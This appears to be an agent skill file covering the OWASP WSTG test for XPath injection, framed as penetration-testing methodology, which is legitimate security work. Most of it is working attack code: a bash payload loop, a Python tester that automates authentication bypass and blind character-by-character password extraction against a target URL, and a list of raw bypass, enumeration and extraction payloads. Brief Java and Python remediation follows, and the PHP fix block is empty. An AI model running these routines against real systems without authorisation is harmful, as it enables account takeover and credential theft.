--- name: cyberstrikeus/wstg-inpv-09 source: https://app.decimal.ai/s/cyberstrikeus-wstg-inpv-09@1/SKILL.md source_sha256: f005548f3c2d --- # wstg-inpv-09 ## Test ID WSTG-INPV-09 ## Test Name Testing for XPath Injection ## High-Level Description XPath Injection occurs when user input is incorporated into XPath queries without proper validation. Attackers can manipulate queries to bypass authentication, access unauthorized data, or extract the entire XML document. Unlike SQL injection, XPath has no access control, making the entire document potentially accessible. --- ## What to Check - [ ] XPath query manipulation - [ ] Authentication bypass - [ ] Data extraction - [ ] Boolean-based blind injection - [ ] Error-based injection - [ ] XML document traversal --- ## How to Test ### Step 1: Identify XPath Injection Points ```bash #!/bin/bash TARGET="https://target.com/search" # Test XPath injection payloads echo "[*] Testing for XPath injection..." PAYLOADS=( "' or '1'='1" "' or ''='" "1 or 1=1" "' or 1=1 or ''='" "') or ('1'='1" "admin' or '1'='1" "' or count(//*)>0 or ''='" ) for payload in "${PAYLOADS[@]}"; do encoded=$(echo -n "$payload" | jq -sRr @uri) response=$(curl -s "$TARGET?user=$encoded&pass=test") echo "Payload: $payload -> ${#response} bytes" done ``` ### Step 2: XPath Injection Tester ```python #!/usr/bin/env python3 """ XPath Injection Vulnerability Tester """ import requests import re class XPathInjectionTester: def __init__(self, url): self.url = url self.findings = [] self.session = requests.Session() # XPath error patterns XPATH_ERRORS = [ r'XPathException', r'Invalid XPath', r'XPath syntax error', r'XPathEvaluator', r'xmlXPathEval', r'DOMXPath', r'SimpleXMLElement::xpath', r'javax\.xml\.xpath', r'XPathExpressionException', r'XPATH syntax', ] # XPath injection payloads PAYLOADS = { 'auth_bypass': [ ("' or '1'='1", "' or '1'='1"), ("' or ''='", "' or ''='"), ("admin' or '1'='1' or '1'='1", "anything"), ("' or 1=1 or ''='", "test"), ("') or ('1'='1", "') or ('1'='1"), ("admin'/*", "*/"), ], 'boolean_based': [ "' or 1=1 and ''='", "' or 1=2 and ''='", "' or count(//*)>0 or ''='", "' or count(//*)>999999 or ''='", ], 'data_extraction': [ "' or //user[1]/username/text()='admin' or ''='", "' or string-length(//user[1]/password)>0 or ''='", "' or substring(//user[1]/password,1,1)='a' or ''='", ], } def test_auth_bypass(self): """Test XPath authentication bypass""" print("\n[*] Testing XPath authentication bypass...") for username, password in self.PAYLOADS['auth_bypass']: try: response = self.session.post( self.url, data={'username': username, 'password': password} ) # Check for XPath errors for pattern in self.XPATH_ERRORS: if re.search(pattern, response.text, re.IGNORECASE): print(f"[+] XPath error detected!") self.findings.append({ 'type': 'XPath Error Disclosure', 'payload': username, 'severity': 'Medium' }) # Check for successful bypass if response.status_code == 200: if 'welcome' in response.text.lower() or \ 'dashboard' in response.text.lower() or \ 'logout' in response.text.lower(): print(f"[VULN] XPath Authentication Bypass!") print(f" Username: {username}") self.findings.append({ 'type': 'XPath Auth Bypass', 'username': username, 'severity': 'Critical' }) return True except Exception as e: pass return False def test_boolean_blind(self): """Test boolean-based blind XPath injection""" print("\n[*] Testing blind XPath injection...") true_payload = "' or 1=1 and ''='" false_payload = "' or 1=2 and ''='" try: true_response = self.session.post( self.url, data={'username': true_payload, 'password': 'test'} ) false_response = self.session.post( self.url, data={'username': false_payload, 'password': 'test'} ) # Check for response differences if len(true_response.text) != len(false_response.text): print(f"[VULN] Blind XPath injection detected!") print(f" True response: {len(true_response.text)} bytes") print(f" False response: {len(false_response.text)} bytes") self.findings.append({ 'type': 'Blind XPath Injection', 'severity': 'High' }) return True except Exception as e: pass return False def extract_data_blind(self, xpath_expr='//user[1]/password'): """Extract data character by character""" print(f"\n[*] Attempting blind data extraction...") charset = 'abcdefghijklmnopqrstuvwxyz0123456789' extracted = "" # First, determine length for length in range(1, 50): payload = f"' or string-length({xpath_expr})={length} or ''='" response = self.session.post( self.url, data={'username': payload, 'password': 'test'} ) if 'welcome' in response.text.lower() or len(response.text) > 1000: print(f" Length: {length}") break # Extract characters for position in range(1, length + 1): for char in charset: payload = f"' or substring({xpath_expr},{position},1)='{char}' or ''='" response = self.session.post( self.url, data={'username': payload, 'password': 'test'} ) if 'welcome' in response.text.lower(): extracted += char print(f" Extracted: {extracted}") break if extracted: print(f"[VULN] Extracted: {extracted}") self.findings.append({ 'type': 'XPath Data Extraction', 'data': extracted, 'severity': 'Critical' }) def generate_report(self): """Generate findings report""" print("\n" + "="*60) print("XPATH INJECTION REPORT") print("="*60) if not self.findings: print("\nNo XPath injection vulnerabilities confirmed.") else: for f in self.findings: print(f"\n[{f['severity']}] {f['type']}") if 'payload' in f: print(f" Payload: {f['payload']}") def run_tests(self): """Run all XPath tests""" self.test_auth_bypass() self.test_boolean_blind() self.generate_report() # Usage tester = XPathInjectionTester("https://target.com/login") tester.run_tests() ``` ### Step 3: XPath Injection Payloads ``` # Authentication Bypass ' or '1'='1 ' or ''=' ' or 1=1 or ''=' admin' or '1'='1 ' or '1'='1' or ''=' ') or ('1'='1 admin'/* # Boolean-based Blind ' or count(//*)>0 or ''=' # True condition ' or count(//*)>999999 or ''=' # False condition # Data Extraction ' or //user[1]/username/text()='admin' or ''=' ' or string-length(//user[1]/password)>5 or ''=' ' or substring(//user[1]/password,1,1)='a' or ''=' ' or contains(//user[1]/password,'admin') or ''=' # Node Enumeration ' or name(//*)='users' or ''=' ' or count(//user)>0 or ''=' ' or //user[position()=1]/child::node() or ''=' # XPath Functions concat(//user[1]/username,':', //user[1]/password) string-length(//user[1]/password) normalize-space(//user[1]/password) ``` --- ## Tools | Tool | Purpose | | -------------------- | -------------------- | | Burp Suite | Manual testing | | XPath Blind Explorer | Automated extraction | | Custom scripts | Exploitation | --- ## Remediation ```java // Java - Parameterized XPath import javax.xml.xpath.*; XPathFactory xpf = XPathFactory.newInstance(); XPath xpath = xpf.newXPath(); // Use XPathVariableResolver for parameters xpath.setXPathVariableResolver(new XPathVariableResolver() { public Object resolveVariable(QName var) { if (var.getLocalPart().equals("username")) { return sanitizedUsername; } return null; } }); XPathExpression expr = xpath.compile("//user[username=$username]"); ``` ```python # Python - lxml with safe variables from lxml import etree # Use XPath variables instead of string formatting tree = etree.parse("users.xml") users = tree.xpath("//user[username=$name]/password/text()", name=user_input) ``` ```php ``` --- ## Risk Assessment | Finding | CVSS | Severity | | --------------------------- | ---- | -------- | | XPath authentication bypass | 9.8 | Critical | | XPath data extraction | 7.5 | High | | Blind XPath injection | 7.5 | High | --- ## CWE Categories | CWE ID | Title | | ----------- | -------------------------------------------------------- | | **CWE-643** | Improper Neutralization of Data within XPath Expressions | --- ## Checklist ``` [ ] XPath processing identified [ ] Authentication bypass tested [ ] Boolean-based blind tested [ ] Data extraction tested [ ] Error messages analyzed [ ] Findings documented ```